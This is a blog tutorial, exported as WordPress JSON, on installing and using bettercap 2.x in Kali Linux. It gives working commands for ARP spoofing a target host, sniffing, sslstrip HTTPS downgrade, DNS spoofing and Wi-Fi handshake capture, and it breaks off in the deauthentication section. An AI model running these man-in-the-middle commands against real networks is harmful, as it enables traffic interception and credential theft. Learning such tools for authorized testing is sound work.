{"id":1112,"date":"2018-04-23T06:56:41","date_gmt":"2018-04-23T06:56:41","guid":{"rendered":"https:\/\/miloserdov.org\/?p=1112"},"modified":"2020-06-09T12:53:35","modified_gmt":"2020-06-09T12:53:35","slug":"bettercap-2-x-how-to-install-and-use-in-kali-linux","status":"publish","type":"post","link":"https:\/\/miloserdov.org\/?p=1112","title":{"rendered":"bettercap 2.x: how to install and use in Kali Linux"},"content":{"rendered":"<div class=\"0b20205ac99e89c6cabdb919fd9d1a8a\" data-index=\"1\" style=\"float: none; margin:10px 0 10px 0; text-align:center;\">\n<script async src=\"\/\/pagead2.googlesyndication.com\/pagead\/js\/adsbygoogle.js\"><\/script>\r\n<ins class=\"adsbygoogle\"\r\n     style=\"display:block; text-align:center;\"\r\n     data-ad-format=\"fluid\"\r\n     data-ad-layout=\"in-article\"\r\n     data-ad-client=\"ca-pub-7219829351026140\"\r\n     data-ad-slot=\"9942251718\"><\/ins>\r\n<script>\r\n     (adsbygoogle = window.adsbygoogle || []).push({});\r\n<\/script>\r\n\r\n\n<\/div>\n<h2 style=\"text-align: justify;\">\n\tTable of contents<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\t<a href=\"#1\">1. Difference between bettercap 2 and bettercap 1.6<\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"#2\">2. How to install bettercap 2 in Kali Linux<\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"#3\">3. Download and install the latest version of bettercap<\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"#4\">4. bettercap usage guide<\/a>\n<\/p>\n<p style=\"text-align: justify; margin-left: 40px;\">\n\t<a href=\"#41\">4.1 Local network monitoring<\/a>\n<\/p>\n<p style=\"text-align: justify; margin-left: 40px;\">\n\t<a href=\"#42\">4.2 Interactive and non-interactive mode. The -eval and -caplet options. Caplets<\/a>\n<\/p>\n<p style=\"text-align: justify; margin-left: 40px;\">\n\t<a href=\"#43\">4.3 How to run spoofing and sniffing in bettercap<\/a>\n<\/p>\n<p style=\"text-align: justify; margin-left: 40px;\">\n\t<a href=\"#44\">4.4 Transparent HTTP proxy<\/a>\n<\/p>\n<p style=\"text-align: justify; margin-left: 40px;\">\n\t<a href=\"#45\">4.5 DNS spoofing in bettercap<\/a>\n<\/p>\n<p style=\"text-align: justify; margin-left: 40px;\">\n\t<a href=\"#46\">4.6 Built-in web server in bettercap<\/a>\n<\/p>\n<p style=\"text-align: justify; margin-left: 40px;\">\n\t<a href=\"#47\">4.7 Wi-Fi networks monitoring<\/a>\n<\/p>\n<p style=\"text-align: justify; margin-left: 40px;\">\n\t<a href=\"#48\">4.8 Capture handshakes in bettercap<\/a>\n<\/p>\n<p style=\"text-align: justify; margin-left: 40px;\">\n\t<a href=\"#49\">4.9 Creating a fake access point<\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"#5\">5. Review of bettercap caplets<\/a>\n<\/p>\n<p style=\"text-align: justify; margin-left: 40px;\">\n\t<a href=\"#51\">5.1 BeEF hooking<\/a>\n<\/p>\n<p style=\"text-align: justify; margin-left: 40px;\">\n\t<a href=\"#52\">5.2 Miner injection<\/a>\n<\/p>\n<p style=\"text-align: justify; margin-left: 40px;\">\n\t<a href=\"#53\">5.3 Replacing the uploaded file with the payload<\/a>\n<\/p>\n<p style=\"text-align: justify; margin-left: 40px;\">\n\t<a href=\"#54\">5.4 Stealing Facebook passwords<\/a>\n<\/p>\n<p style=\"text-align: justify; margin-left: 40px;\">\n\t<a href=\"#55\">5.5 Collection of HTTP requests<\/a>\n<\/p>\n<p style=\"text-align: justify; margin-left: 40px;\">\n\t<a href=\"#56\">5.6 Collection of logins and passwords with invisible forms<\/a>\n<\/p>\n<p style=\"text-align: justify; margin-left: 40px;\">\n\t<a href=\"#57\">5.7 Redirect IPv4 DNS queries using DHCPv6 responses<\/a>\n<\/p>\n<p style=\"text-align: justify; margin-left: 40px;\">\n\t<a href=\"#58\">5.8 Testing the http.proxy script<\/a>\n<\/p>\n<p style=\"text-align: justify; margin-left: 40px;\">\n\t<a href=\"#59\">5.9 Passwords sniffer<\/a>\n<\/p>\n<p style=\"text-align: justify; margin-left: 40px;\">\n\t<a href=\"#510\">5.10 Changing the prompt of the interactive bettercap session<\/a>\n<\/p>\n<p style=\"text-align: justify; margin-left: 40px;\">\n\t<a href=\"#511\">5.11 Changing the contents of requested web pages<\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"#6\">6. Installing bettercap from the source code in Kali Linux<\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"#7\">Conclusion<\/a>\n<\/p>\n<hr \/>\n<h2 style=\"text-align: justify;\">\n\t<a id=\"1\" name=\"1\"><\/a>Difference between bettercap 2 and bettercap 1.6<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/logo_full.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1125\" height=\"650\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/logo_full.png\" width=\"650\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/logo_full.png 650w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/logo_full-150x150.png 150w\" sizes=\"(max-width: 650px) 100vw, 650px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tAt the end of February 2018, bettercap 2 was released and since then this version is actively developing, new functions are added to it. bettercap 1.6 is deprecated and no longer supported.\n<\/p>\n<p style=\"text-align: justify;\">\n\tIn the latest versions of bettercap, there are a lot of changes: the program was re-written in another programming language, instead of Ruby, using Go. Thanks to the change in language and other methods, productivity increased dramatically, optimized CPU and memory usage.\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe model of interaction with the program has changed: before it was a command line utility, various options were used while launching. A new version can also be run in a non-interactive mode, using options, but now an interactive mode is available, as well as an API.\n<\/p>\n<p style=\"text-align: justify;\">\n\tEven the purpose of the program has changed: it used to be a modular platform for implementing complex man-in-the-middle attacks, now, in addition to supporting man-in-the-middle attacks, there is also functionality for network monitoring, 802.11 and BLE wireless networks monitoring and attacking .\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe program functions became more atomized, for example, to launch the most common middle-man attack, consisting of ARP spoofing and sniffing, now you need to enter several commands (there was only one option before). This increases the flexibility of program usage, but at the same time complicates usage. To automate the work of the program and simplify the usage, ones can use caplets that control the work of bettercap and its modules. Examples of caplets are collected in the repository <a href=\"https:\/\/github.com\/bettercap\/caplets\" rel=\"noopener noreferrer\" target=\"_blank\">https:\/\/github.com\/bettercap\/caplets<\/a>.\n<\/p>\n<p style=\"text-align: justify;\">\n\tAnd this is not even all the changes! It&#39;s worth mentioning that native Go plug-ins are supported (via the <strong>package.proxy<\/strong> module), some modules support the JavaScript scripting language for data manipulating and controlling the behavior of the program, and the program itself and its caplets support native system commands.\n<\/p>\n<p style=\"text-align: justify;\">\n\tIn general, it&#39;s just another program, in which everything is new.\n<\/p>\n<h2 style=\"text-align: justify;\">\n\t<a id=\"2\" name=\"2\"><\/a>How to install bettercap 2 in Kali Linux<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tIn the Kali Linux repositories, there is bettercap already, but at the time of writing there is an outdated 1.6.2 version. To check which version of bettercap is currently available for installation from official repositories, run:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\napt-cache show bettercap | grep &#39;Version: &#39;<\/pre>\n<p style=\"text-align: justify;\">\n\tIf there is version 2.x, then you just need to install it:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nsudo apt install bettercap<\/pre>\n<h2 style=\"text-align: justify;\">\n\t<a id=\"3\" name=\"3\"><\/a>Download and install the latest version of bettercap<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tRemove the outdated version of bettercap if it was installed earlier:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nsudo apt remove bettercap\r\nsudo rm \/usr\/local\/bin\/bettercap<\/pre>\n<p style=\"text-align: justify;\">\n\tFix for an already installed library:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nln -s \/usr\/lib\/x86_64-linux-gnu\/libpcap.so.1.8.1 \/usr\/lib\/x86_64-linux-gnu\/libpcap.so.1<\/pre>\n<p style=\"text-align: justify;\">\n\tDownload the archive with the binary file of bettercap latest version:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nwget &quot;https:\/\/github.com`curl -s https:\/\/github.com\/bettercap\/bettercap\/releases | grep -E -o &#39;\/bettercap\/bettercap\/releases\/download\/v[0-9.]+\/bettercap_linux_amd64_(|v)[0-9.]+zip&#39; | head -n 1`&quot;<\/pre>\n<p style=\"text-align: justify;\">\n\tWe unpack, move, clean and check:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nunzip bettercap_linux_amd64_*zip\r\nsudo mv bettercap \/usr\/local\/bin\/\r\nrm bettercap_linux_amd64_*\r\nbettercap -h<\/pre>\n<p style=\"text-align: justify;\">\n\tInstalling bettercap from the source code will be discussed at the end of the article.\n<\/p>\n<h2 style=\"text-align: justify;\">\n\t<a id=\"4\" name=\"4\"><\/a>bettercap usage guide<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tNow the main functional feature of bettercap is not only the man in a middle attacks. Thanks to caplets and scripts, it is possible to implement a variety of phishing attacks and attacks based on data manipulation, the starting point of which is a man-in-the-middle attack. For this reason, it&#39;s not easy to write exhaustive manual for bettercap.\n<\/p>\n<p style=\"text-align: justify;\">\n\tTo approximate the possibilities of the program, read the documentation, and also get acquainted with the repository of caplets: many of them have comments in the source code that help to understand what the program will do exactly.\n<\/p>\n<p style=\"text-align: justify;\">\n\tIn the following, very simple examples of starting bettercap will be considered. Let&#39;s start with using an interactive session, to do this, run bettercap:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nsudo bettercap<\/pre>\n<h3 style=\"text-align: justify;\">\n\t<a id=\"41\" name=\"41\"><\/a>Local network monitoring<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\tTo list the detected hosts on the local network, type:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nnet.show<\/pre>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/01.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1115\" height=\"491\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/01.png\" width=\"1185\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/01.png 1185w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/01-1000x414.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/01-768x318.png 768w\" sizes=\"(max-width: 1185px) 100vw, 1185px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tThis is a passive method of monitoring, since the search for hosts is based on reading of the ARP cache.\n<\/p>\n<p style=\"text-align: justify;\">\n\tTo exit the program, type <strong>q<\/strong> or press <strong>CTRL+z<\/strong>.\n<\/p>\n<p style=\"text-align: justify;\">\n\tAnd the <strong>net.probe<\/strong> module actively searches for hosts, sending dummy UDP packets to every possible IP in the subnet. To enable this module:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nnet.probe on<\/pre>\n<p style=\"text-align: justify;\">\n\tWe look at the detected hosts:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nnet.show<\/pre>\n<p style=\"text-align: justify;\">\n\tThis is an active method since network analyzers will see that a computer with bettercap massively sends packets.\n<\/p>\n<p style=\"text-align: justify;\">\n\tWith bettercap, you can continuously monitor the network status by obtaining on-screen data in real-time, for this, run sequentially:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nnet.probe on\r\nticker on<\/pre>\n<p style=\"text-align: justify;\">\n\tThe first <strong>net.probe on<\/strong> command, as we found out a little earlier, enable an active search for hosts, and the second command is used to execute a given set of commands periodically. Since we did not specify which commands to execute, the default executed commands are <strong>clear; net.show,<\/strong> the result is an interesting effect: in the background it is constantly searching for hosts, and information is displayed on the screen in real time.\n<\/p>\n<h3 style=\"text-align: justify;\">\n\t<a id=\"42\" name=\"42\"><\/a>Interactive and non-interactive mode. The -eval and -caplet options. Caplets<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\tIf you are uncomfortable to run bettercap interactively every time, you can use the <strong>-eval<\/strong> option, after which specify the commands that you want to run. For example, the previous example is equivalent to this:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nsudo bettercap -eval &quot;net.probe on; ticker on&quot;<\/pre>\n<p style=\"text-align: justify;\">\n\tRight in the interactive session, bettercap, you can execute the system commands. For example, the following set of commands checks if there is a connection to the WAN:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nping -c 1 google.com &gt;\/dev\/null 2&gt;&amp;1 &amp;&amp; echo &quot;Connected&quot; || echo &quot;Not connected&quot;<\/pre>\n<p style=\"text-align: justify;\">\n\tThis same command (set of commands) can be performed right in the interactive session, just before the first command put an exclamation mark:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\n!ping -c 1 google.com &gt;\/dev\/null 2&gt;&amp;1 &amp;&amp; echo &quot;Connected&quot; || echo &quot;Not connected&quot;<\/pre>\n<p style=\"text-align: justify;\">\n\tNow we will monitor local network and Internet access availability. We launch an active search for local hosts:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nnet.probe on<\/pre>\n<p style=\"text-align: justify;\">\n\tWe set the value of the <strong>ticker.commands<\/strong> variable, there are now three commands: two are already known bettercap internal commands (these are <strong>clear; net.show;<\/strong>) and one more is the set of system commands:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nset ticker.commands &#39;clear; net.show; !ping -c 1 google.com &gt;\/dev\/null 2&gt;&amp;1 &amp;&amp; echo &quot;Connected&quot; || echo &quot;Not connected&quot;&#39;<\/pre>\n<p style=\"text-align: justify;\">\n\tIf desired, you can increase the period to three seconds (the default is one second):\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nset ticker.period 3<\/pre>\n<p style=\"text-align: justify;\">\n\tRun the task cyclically:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nticker on<\/pre>\n<p style=\"text-align: justify;\">\n\tIn the results of execution, pay attention to the new &lsquo;Connected&rsquo; line:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/02.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1116\" height=\"273\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/02.png\" width=\"956\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/02.png 956w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/02-768x219.png 768w\" sizes=\"(max-width: 956px) 100vw, 956px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tUsing the <strong>-eval<\/strong> option, you can run this all in this way:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nsudo bettercap -eval &#39;net.probe on; set ticker.commands &quot;clear; net.show; !ping -c 1 google.com &gt;\/dev\/null 2&gt;&amp;1 &amp;&amp; echo &quot;Connected&quot; || echo &quot;Not connected&quot;&quot;; set ticker.period 3; ticker on&#39;<\/pre>\n<p style=\"text-align: justify;\">\n\tBut in addition to the <strong>-eval<\/strong> option, there is also the <strong>-caplet<\/strong> option, which also allows you to run the program with the specified commands.\n<\/p>\n<p style=\"text-align: justify;\">\n\tLet&#39;s create our first caplet. To do this, create a text file named <strong>netmon.cap<\/strong> (you can choose any name):\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\ngedit netmon.cap<\/pre>\n<p style=\"text-align: justify;\">\n\tAnd just copy all our commands to it, which we entered in the interactive session, we should get the following file:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nnet.probe on\r\n# Note the absence of quotes in this example and the quotes in the previous ones:\r\nset ticker.commands clear; net.show; !ping -c 1 google.com &gt;\/dev\/null 2&gt;&amp;1 &amp;&amp; echo &quot;Connected&quot; || echo &quot;Not connected&quot;\r\nset ticker.period 3\r\nticker on<\/pre>\n<p style=\"text-align: justify;\">\n\tNow run bettercap with the <strong>-caplet<\/strong> option, after which we&#39;ll specify the path to the file with a caplet:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nsudo bettercap -caplet .\/netmon.cap<\/pre>\n<h3 style=\"text-align: justify;\">\n\t<a id=\"43\" name=\"43\"><\/a>How to run spoofing and sniffing in bettercap<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\tLet&#39;s start with the launch of ARP spoofing:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\narp.spoof on<\/pre>\n<p style=\"text-align: justify;\">\n\tBy default, the attack is performed on the entire subnet, so if ARP spoofing works poorly, set the IP targets using the <strong>arp.spoof.targets<\/strong> variable. Its value can be one IP or several IPs separated by a comma, for example:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nset arp.spoof.targets 192.168.0.90<\/pre>\n<p style=\"text-align: justify;\">\n\tTo see all available host in your local network:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nnet.show<\/pre>\n<p style=\"text-align: justify;\">\n\tValues of variables must be set before the corresponding module is run. If you need to change the value of a variable of an already running module, stop the module, set the new value and restart the module, for example:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\narp.spoof off\r\nset arp.spoof.targets 192.168.0.90\r\narp.spoof on<\/pre>\n<p style=\"text-align: justify;\">\n\tFor the sniffer, if desired, you can reduce the level of verbality:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nset net.sniff.verbose false<\/pre>\n<p style=\"text-align: justify;\">\n\tIf you want to save network packets captured during sniffing to a file, specify the file for saving data as the value of net.sniff.output\n<\/p>\n<pre class=\"brush:bash;\">\r\nset net.sniff.output \/tmp\/captured.pcap<\/pre>\n<p style=\"text-align: justify;\">\n\tRun the sniffer:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nnet.sniff on<\/pre>\n<h3 style=\"text-align: justify;\">\n\t<a id=\"44\" name=\"44\"><\/a>Transparent HTTP proxy<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\tTo analyze HTTP traffic, you must enable <strong>http.proxy<\/strong>. If it is used in conjunction with spoofing, all HTTP traffic will be redirected to it and, if necessary, it will automatically handle port forwarding.\n<\/p>\n<p style=\"text-align: justify;\">\n\tIf you want to use <a href=\"https:\/\/en.kali.tools\/?p=30\" rel=\"noopener noreferrer\" target=\"_blank\">sslstrip<\/a>, you must change the value of the <strong>http.proxy.sslstrip<\/strong> variable, which is set to <strong>false <\/strong>by default:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nset http.proxy.sslstrip true<\/pre>\n<p style=\"text-align: justify;\">\n\tTo enable transparent HTTP proxy:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nhttp.proxy on<\/pre>\n<p style=\"text-align: justify;\">\n\tA full list of commands for attacking the local IP 192.168.0.90, as a result, continuous ARP spoofing of this address will be performed, which will cause the traffic to be redirected to the attacker&#39;s machine, to a transparent HTTP proxy, where, if possible, downgrade from HTTPS to HTTP will be performed using <a href=\"https:\/\/en.kali.tools\/?p=30\" rel=\"noopener noreferrer\" target=\"_blank\">sslstrip<\/a>, the verbality of the sniffer is lowered to show really important data:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nset http.proxy.sslstrip true\r\nset net.sniff.verbose false\r\nset arp.spoof.targets 192.168.0.90\r\narp.spoof on\r\nhttp.proxy on\r\nnet.sniff on<\/pre>\n<p style=\"text-align: justify;\">\n\tTo attack the whole subnet, skip the&nbsp;<strong>set arp.spoof.targets IP<\/strong> line.\n<\/p>\n<h3 style=\"text-align: justify;\">\n\t<a id=\"45\" name=\"45\"><\/a>DNS spoofing in bettercap<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\tThe DNS query is replaced by the <strong>dns.spoof<\/strong> module. You can configure it before starting it.\n<\/p>\n<p style=\"text-align: justify;\">\n\tBy default, all domains will be spoofed, if you want to change this, then set them by the value of the <strong>dns.spoof.domains<\/strong> variable as comma separated list. For example, I want to spoof only two domains suip.biz and mi-al.ru, then:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nset dns.spoof.domains suip.biz, mi-al.ru<\/pre>\n<p style=\"text-align: justify;\">\n\tBy default, DNS server send IP pointing to the interface address of the machine on which bettercap is launched. The IP address changes through the <strong>dns.spoof.address&nbsp;<\/strong>variable:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nset dns.spoof.address desired_IP<\/pre>\n<p style=\"text-align: justify;\">\n\tThis module will only respond to requests that target the local PC;&nbsp;to respond to everything,&nbsp;set the value of the <strong>dns.spoof.all&nbsp;<\/strong>variable to <strong>true<\/strong>:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nset dns.spoof.all true<\/pre>\n<p style=\"text-align: justify;\">\n\tTo run the module:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\ndns.spoof on<\/pre>\n<h3 style=\"text-align: justify;\">\n\t<a id=\"46\" name=\"46\"><\/a>Built-in web server in bettercap<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\tTo process requests to the web server, you can use the server installed on your system, for example, Kali Linux has &nbsp;Apache and you just have to run it:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nsystemctl start apache2<\/pre>\n<p style=\"text-align: justify;\">\n\tBettercap also has a built-in simple web server that can render HTML pages and other static files, such as JavaScript, CSS, pictures, etc.\n<\/p>\n<p style=\"text-align: justify;\">\n\tYou must specify the address of the server folder by changing the value of the <strong>http.server.path&nbsp;<\/strong>variable :\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nset http.server.path \/path\/to\/folder<\/pre>\n<p style=\"text-align: justify;\">\n\tTo start the web server (the system server, for example, Apache, should be stopped, because there may be a conflict due to the fact that different programs try to listen on the same port):\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nhttp.server on<\/pre>\n<h3 style=\"text-align: justify;\">\n\t<a id=\"47\" name=\"47\"><\/a>Wi-Fi networks monitoring<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\tThis is a new bettercap feature. By the way, Bluetooth Low Energy support has also been added.\n<\/p>\n<p style=\"text-align: justify;\">\n\tTo work with Wi-Fi, you need to use the <strong>-iface<\/strong> option, after which you can specify the name of the wireless interface:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nsudo bettercap -iface wlan0<\/pre>\n<p style=\"text-align: justify;\">\n\tIn the event that you will have errors raised by the previous command, for example:\n<\/p>\n<pre class=\"brush:plain;\" style=\"text-align: justify;\">\r\nCan&#39;t restore interface wlan0 wireless mode (SIOCSIWMODE failed: Bad file descriptor).\r\nPlease adjust manually.<\/pre>\n<p style=\"text-align: justify;\">\n\tThen quit bettercap and manually set the wireless interface to monitor mode. For example, as follows:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nsudo ip link set wlan0 down\r\nsudo iw wlan0 set monitor control\r\nsudo ip link set wlan0 up<\/pre>\n<p style=\"text-align: justify;\">\n\tNow that the wireless interface is in monitor mode, run bettercap again and enter the command:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nwifi.recon on<\/pre>\n<p style=\"text-align: justify;\">\n\tIt starts Wi-Fi devices detection:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/03.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1117\" height=\"896\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/03.png\" width=\"1414\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/03.png 1414w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/03-1000x634.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/03-768x487.png 768w\" sizes=\"(max-width: 1414px) 100vw, 1414px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tIf you want to limit to monitoring only certain channels, then execute a command like this (it sets the jumping only on the first three channels):\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nwifi.recon.channel 1,2,3<\/pre>\n<p style=\"text-align: justify;\">\n\tBy the way, if later you need to clear the list of channels (make the program jumps on all channels), then the following command is used for this:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nwifi.recon.channel clear<\/pre>\n<p style=\"text-align: justify;\">\n\tTo display the results, type:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nwifi.show<\/pre>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/04.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1118\" height=\"949\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/04.png\" width=\"1273\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/04.png 1273w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/04-1000x745.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/04-768x573.png 768w\" sizes=\"(max-width: 1273px) 100vw, 1273px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe next set of commands will start gathering information about Wi-Fi devices, will display a table with a full list of detected access points, as well as a list of the last 20 detections:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nset ticker.commands &#39;clear; wifi.show; net.show; events.show 20&#39;\r\nwifi.recon on\r\nticker on<\/pre>\n<h3 style=\"text-align: justify;\">\n\t<a id=\"48\" name=\"48\"><\/a>Capture handshakes in bettercap<br \/>\n<\/h3>\n<p style=\"text-align: justify;\">\n\tYes, bettercap now knows how to do this, and also knows how to perform the deauthentication attack.\n<\/p>\n<p style=\"text-align: justify;\">\n\tIf we want to capture a handshake from a specific access point, then we need to know the channel on which it works. This is enough if we are going to passively wait for the client to connect\/reconnect to the AP.\n<\/p>\n<p style=\"text-align: justify;\">\n\tTo perform the deauthentication attack, we need to know the BSSID of the access point (in this case, the attack will be performed against all clients) or the BSSID of the client (in this case, the attack will be performed against one client).\n<\/p>\n<p style=\"text-align: justify;\">\n\tLet&#39;s start with the sniffer configuration. Let&#39;s make it verbal:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nset net.sniff.verbose true<\/pre>\n<p style=\"text-align: justify;\">\n\tSet up the filter for the handshake frames:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nset net.sniff.filter ether proto 0x888e<\/pre>\n<p style=\"text-align: justify;\">\n\tWe set up saving the received data to the <strong>wpa.pcap<\/strong> file:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nset net.sniff.output \/root\/wpa.pcap<\/pre>\n<p style=\"text-align: justify;\">\n\tRun the sniffer:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nnet.sniff on<\/pre>\n<p style=\"text-align: justify;\">\n\tThe Sniffer is run the same way every time. The further values of the variables depend on the target being attacked.\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe target I want to attack is working on channel 8, so I set the channel:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nwifi.recon.channel 8<\/pre>\n<p style=\"text-align: justify;\">\n\tRun the network analysis:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nwifi.recon on<\/pre>\n<p style=\"text-align: justify;\">\n\tI&#39;m interested in AP with BSSID 50:46:5d:6e:8c:20, I can enable the filter:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nwifi.recon 50:46:5d:6e:8c:20<\/pre>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/05.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-1119\" height=\"241\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/04\/05.png\" width=\"744\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe following two commands are optional, they will periodically clear the screen and display a table with the seen base stations (you can see if there are any clients at the attacked Access Points), if you do not want to, skip these commands:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: justify;\">\r\nset &#39;ticker.commands clear; wifi.show&#39;\r\nticker on<\/pre>\n<p style=\"text-align: justify;\">\n\tWe proceed to deauthentication. The attack can be performed in two forms:\n<\/p>\n<pre class=\"brush:bash;\" style=\"text-align: 